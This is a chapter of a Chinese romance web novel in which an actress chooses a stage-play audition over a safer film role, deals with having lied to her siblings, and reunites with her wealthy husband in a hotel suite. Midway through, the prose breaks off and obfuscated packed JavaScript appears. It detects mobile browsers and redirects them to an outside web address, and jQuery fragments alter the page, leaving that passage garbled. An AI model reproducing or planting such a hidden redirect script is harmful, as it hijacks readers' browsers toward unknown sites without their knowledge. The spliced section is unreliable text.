曲流音没有办法不去注视着他说话时专注的双眸，他的半张脸陷入柔软的枕头里，把他的爱意与真心说的稀松平常，只有耳尖的绯红泄露出他的紧张。


    见她沉默，话题像突然落下的休止符，被他终止。


    “好了，时间不早了。”


    “嗯……”


    他谨慎地得寸进尺：“明天还可以和你视频吗？”


    曲流音轻轻点了点头，回应：“……好。”


    他笑了笑，眼角勾出温柔的弧线，温柔地声线从隔着数百公里传到她的耳边。


    “晚安。”


    她亦是微笑，回应：“晚安。”


    挂掉视频后，手机隔了许久自动息屏，曲流音用手拍了拍自己的双颊，好烫。


    听不到他的声音后，才能清晰地听到自己如鼓噪的心跳声。


    冷静，自持一点，曲流音你又不是没有被示好表白过，淡定一点。


    这样的心悸就像感染了流行感冒，短时间内症状不减反增。


    直到她换回了睡衣，躺在床上，脑子里还是会不断重复他的话。


    她不是那种想要依靠别人生活，自己不工作躺平的菟丝花。


    可她从来是家里的支撑，不能率性而为，不能浪费任何精力和时间去挑战和尝试。


    她需要一步一个脚印选择最合适的事业路径，找最适合不容易出错的人选结婚。


    她谨小慎微地掌舵，唯恐乘载着所有她在意的人事物的小船被生活的风浪掀翻。


    没有人能体会到，尚云清对她说的话给了她多大的震撼与触动。


    以至于，一向睡眠质量极好的她根本无法入睡，拿着剧本揣摩角色到了三点半。


    闭上眼睛，脑袋里不是角色的喜怒哀惧，反而是他的带着笑意的脸。


    她把自己的脑袋闷进被子里，在三米宽的大床上打了好几个滚，无奈依旧心绪难平，抹黑掏出了手机，在和他的聊天窗口内，打出了：“谢谢。”


    完事迅速的关掉手机，调成静音，再次把自己闷进被子里，强迫自己平心静气，终于在接近破晓时迷糊睡去。


    第二天，不出所料，又差不多12点才醒。


    清醒后做的第一件事，是把放在老远的手机拿过来。


    意料之内的收到好几条信息，有刘姐的，也有尚云清的。


    她先点开了刘姐的信息。


    刘晓：[想好没有，林导的戏面试就在后天，吴导的试戏在大后天]


    [求稳我们就去林导那，林导我们也熟，这个角色算是十拿九稳了]


    [要是去面话剧，那就只能全靠你自己了。面不上也没有回头草可吃了]


    之前本是计划着要是赶得上就两家都去试试，可事与愿违，林导的喜剧片面试在前，若是定下了就不好再放人鸽子了。


    我：[姐，我想去试试话剧]


    刘晓回复地很快：[想清楚了？]


    我：[想好了]


    刘晓：[行，那你好好准备，姐看好你]


    我：[谢谢姐]


    做了自己希望的决定，有了新的目标，她既期待又紧张。


    点开尚云清的聊天框，他今天早上七点半就回复了信息。


    尚云清：[怎么这么晚还没睡？家里的床垫你睡不习惯吗？]


    [床垫不喜欢的话就和王管家说，让她找几个牌子给你试一试]


    [你要谢谢我什么？]


    [流音，我们是夫妻。我的财富，人生还有未来都只与你分享，你的光芒，喜悦还有荣耀也有我的一份，不是吗？]


    [我今天有点忙，你注意身体，醒了就去吃饭]


    曲流音心跳地厉害，被爱时的感受太过直观。


    若恋爱是一场博弈，曲流音被尚云清一连串的直球打的手足无措，连连退败，若是再继续与他对峙，恐怕不出三天就要缴械投降。


    他对她的示爱太过直接。


    用一种让人无法忽视的强势手段简洁直白地告诉她，他的爱不只是口头上的承诺，不是一时兴起，不是幻觉或童话。


    加上她对他莫名的熟悉感。


    她发现自己根本无法拒绝这样的他。


    她在心里告诫自己矜持一点，爱情只会打乱她的思绪，打乱她进步的步伐。


    可感情和手指不听大脑指挥。


    我：[我明白了，你也要注意身体。][乖巧猫猫头.jpg]


    回复完以后，又在床上蛄蛹了一会，终于起床下楼吃饭。


    既然做好选择，就没有后悔的余地。


    她必须全力以赴，拿下这个角色。


    她拿到的剧本只有一个大纲，和几场戏的剧本。


    只能通过自己的理解对这些信息进行分析，去更加理解这个人物。


    女主从一个天真浪漫的娇气大小姐，被人哄骗，沉沦欲望的深渊，又被人拯救成为小镇上的女先生。


    每一段人生节点心境和状态都不一样，曲流音不停地思考，搭配着台词去琢磨如何更能贴近人物，写下自己的心得和看法。


    一旦进入这样的情绪，时间就流逝地飞快，除了中途王管家来敲门提醒她吃饭外，她所有的注意力和精力都投入了工作之中。


    直到晚上十一点多，她练台词到口干舌燥，手边的水杯早就空了，才恍然时间不早了。


    她给自己倒了满满一大杯水，小口小口地喝着，打开手机，鸣风和意秋的信息早就发过来了，家族群里的信息被鸣风刷到了99+。


    小弟：[@曲流音人呢人呢人呢，不是被拐卖了吧？]


    小弟：[这个年代还有人几个小时不看手机吗？怎么连电话也不接？]


    妹：[姐？你在干嘛？]


    ……


    小弟：[刘晓姐说你在准备新剧，你不是说你进组了吗？]


    曲流音看到这一条信息的时候心脏骤停，她只记得告诉刘姐不要和他们说她结婚的事情，忘记和刘姐说清楚，她还骗了他们进组的事情……


    小弟：[没戏拍就没戏拍，下次不要骗我们了，等我过几天接稿画画养家！]


    妹：[我也可以去接舞蹈演出]


    妹：[姐，加油]


    小弟：[我曲鸣风的姐姐都选不上，谁还能选得上？]


    ……


    看完他们两个的信息后，曲流音快被愧疚感吞噬了，她后悔了，自己一开始就不该骗他们。


    可当时她开不了口，现在也不知道怎么开口……


    我：[对不起]


    他们几乎是发出后就秒回了。


    小弟：[别说了，我都懂！难以言说的自尊心][我懂得.jpg]


    妹：[姐，下次别再瞒着我们了]


    我：[嗯，你们早点休息]


    ……


    一个谎言往往要用无数个谎言来掩盖，曲流音终于对这句话感同身受。


    刘姐突然给她打了一通电话过来，曲流音接起。


    “喂，姐。”


    “怎么给你打了这么多个电话也不接？你弟弟妹妹找你找疯了。你在哪啊？”


    “我在尚云清家……”


    “你……还好吗？他电话都不让你接吗？”她的语气有点说不出的奇怪。


    “不是！你在想什么？他不在家，他出差了！我在看剧本手机设置了静音！”


    “哦，那没事了。我还以为你被关起来搞什么霸道总裁的乱七八糟的play呢，有钱人都玩的花。”


    曲流音解释地很苍白：“姐……他真没有。”


    “行了行了，打电话是和你说，你的小助理小阳，家里有急事回家了，大后天没办法陪你去京市，我最近也抽不开空，你自己可以吗？或者我再给你换个人？”


    “就是试个戏又不是进组，我这么大个人了，不用人跟着了。”曲流音示意不用麻烦了。


    “行，那你自己定机票，注意不要睡过头了。挂了挂了。”


    曲流音才看了一眼航班信息，尚云清的视频又打了过来。


    她刚刚才接完电话，想着自己失联这么久，不想让人担心，条件反射下直接按了接受。


    尚云清英俊的脸立刻就出现在了屏幕中，只是他的表情很奇怪，原本是带着温柔笑意的眼眸倏然放大，撇过了头，不自然地咳嗽了一声，脸“嗖”地就红了。


    “流音……”


    她不明所以：“嗯？怎么了？”


    “你……肩带掉了。”他的眼睛都不敢看向屏幕。


    她今天在家本来是穿着吊带睡裙，外面再套一件睡衣的。


    可她自己在房间里，当然是这么舒服怎么来，肩带不太听话，她懒得管它，谁知道会被尚云清正好看到。


    她迅速拉起肩带。


    其实又不是什么深v睡裙，就漏了肩膀，还没有裹胸礼服漏的多呢！


    他不会以为自己是故意的吧？


    “我……自己在家没注意。”


    “嗯，我又没多想……”


    “你是在说我多想了吗？”曲流音像被踩到尾巴的猫，羞恼道。


    但没想到他根本不按常出牌，小小声说：“我巴不得你多想……”


    “你……我听不到你说什么！反正我什么都没有想！”她恼羞成怒！


    “好了，不逗你了，别生我的气。”


    她装作不在意地捋了捋自己微卷的长发，轻哼一声。


    “今天后来给你发了信息，你也没有回。我还以为是被你讨厌了。”他的薄唇快撇成一个“八”了。


    “没有，我在琢磨剧本，一直没看手机。”她耐心解释，“你发了什么？”


    “也没有什么，不重要的事罢了。”她解释了，他就释然了。


    “那个，我大后天要去京市试戏……是那个话剧。”


    “你和工作人员吗？需要我去接你吗？”他眸光一闪，步步为营，“你方便吗……不方便我就不去见你了。”


    “或者，你不想见我，我就不去了。”


    “你不需要有心理负担，是我太忙了，没有空去见你。”


    “不是你的问题。”


    他张嘴叭叭个不停，该说的不该说的，能预判


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13691346|142987||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的全给他可怜兮兮的说完了。


    “只有我一个人。”她又好气又好笑，“你没空就不用来接我，小李来接我就好了。”


    “小李没空。”他不假思索，“他最近工作可忙了，毕竟是集团的中流砥柱，根本抽不出时间。”


    “那我自己打车找个酒店住就好了，不用麻烦你们了。”她点了点头，认可了他的话。


    “我去接你好不好”他停顿了一小会，“我好想见你。”


    “好……”


    ……


    互道了晚安后，她挂掉视频，打开他和她发的消息。


    他在下午给她发来一张雨后彩虹的照片。


    尚云清：[下了两天的雨，终于天晴了，很久没有看到彩虹了，想和你一起看]


    确实如他所说，不是什么重要的事情。


    点开图片，他好像是站在办公室的落地窗前拍的照片，所以玻璃上有他清浅的倒影。


    他拍摄的角度，手机遮住了他的大半张脸。


    她轻咬下唇。


    她迫切地想知道，他拍下那张照片发给她时，有没有露出现在她看到这种照片时一样的表情。


    ——


    两天的时间过得很快，她又拎着她的行李箱，收拾为数不多的几套衣服出发去京市。


    她没有提早去京市，不想打扰他的工作，也不想干扰自己研读剧本。


    她提前一天才上了飞机，王管家亲自开车送她去机场，是尚云清特意要求的。


    下午四点落地，到的时候却不见他的身影，取而代之的是拿着接机牌的小李。


    “老板娘，这边！”


    曲流音朝他走去，小李很有眼力见地接过她的行李箱，在她开口前抢答道：“老板突然有一个会要开，实在走不开。”


    “没事的。”她也收到了他发过来的信息，说不能来接她。


    小李又继续感叹道：“老板最近忙到都没有什么时间睡觉，每天三点睡，七点半就起。咖啡当水喝，我看他血液里咖啡因肯定远远超标了。”


    “三点睡七点半起？”那他每天十二点就和她说晚安，让她去睡觉？


    “是啊，我今天早上七点多还看到老板昨天晚上打回的报表，发送的时间是凌晨三点半，然后我回了一个收到，他叫我上班了顺路给他带两杯咖啡。”


    “……”


    李墨把她送到了尚云清这几天一直居住的酒店套房内，他根本就没有想过要再去多开一间房，夫妻二人住一间房本来就是天经地义。他给老板娘叫了一个晚餐的客房服务后也匆忙离开。


    曲流音一个人待在这熟悉又陌生的套房内，这有一个很宽敞的客厅，阳台外的风景也极为不错，装修豪华各种设施一应俱全，就是只有一个卧室……


    她打电话问了前台，今天的房间全都满了。


    她要是独自离开，似乎也不太好……


    这里的沙发也足够舒适，大不了就睡沙发。


    六点半，她独自吃完晚餐。


    两个小时前给他发的信息，到现在也没有回复，她没多想，自己继续琢磨剧本，直到临近十点，也不见他回来。


    和鸣风意秋他们报了平安后，她又困又累，索性就不等了。洗澡换了睡衣，搬了一套枕头毛毯，窝在沙发上睡着了。


    尚云清一整天都在开会，为了能够继续推动这次收购，他们双方互相扯皮了两天，直到对方意识到光栖酒店根本就没有意愿收购他们时，才愿意放平姿态谈合作。


    他怎么可能那么好说话。


    又焦灼了两天，攻守换位，谈判降低了百分之五的意愿价格，这一场仗，他打的漂亮且解气。


    从紧张的工作中抽出身来，打开手机才发现已经忽视流音太久，他忐忑不安地往酒店赶。


    回到自己的套房，客厅里的灯被调到亮度极低的昏黄，他远远就看到躺在沙发上侧躺着的身影。


    他既庆幸又后怕。


    幸好，她还在。


    他放轻脚步，先去洗了个澡，把自己收拾干净。再回到客厅看她时，她已经把盖着的毯子踢到了地板上，纤细的身体在沙发上睡得四仰八叉。


    他忍着笑摇了摇头。


    他怎么舍得让她睡沙发，她这副睡姿肯定会感冒。


    轻轻把她抱起来，她睡得很沉根本没有醒，安静地窝在他的怀里。


    鸦羽般浓密的睫毛，嫣红小巧的唇，漂亮的就像童话里描述的沉睡公主。


    她是这样的纤细柔软，美丽又脆弱。


    可这样身躯里的灵魂却是那么倔强而坚强。


    他爱这样的她，整整九年了。


    他把她小心放在床上，给她盖好被子。


    借着朦胧的月色，坐在床边凝视着她的睡颜许久，此时的幸福感有了实体，像化进了血液流淌在他的身体里的每一处。


    他情难自抑地亲吻了她的额头，起身要走，有一股力量轻轻拉住了他。


    原本安稳沉睡的流音睁开了眼睛，伸手轻轻拉住了他的衣角。


    “你要去哪里？”她说。


    ……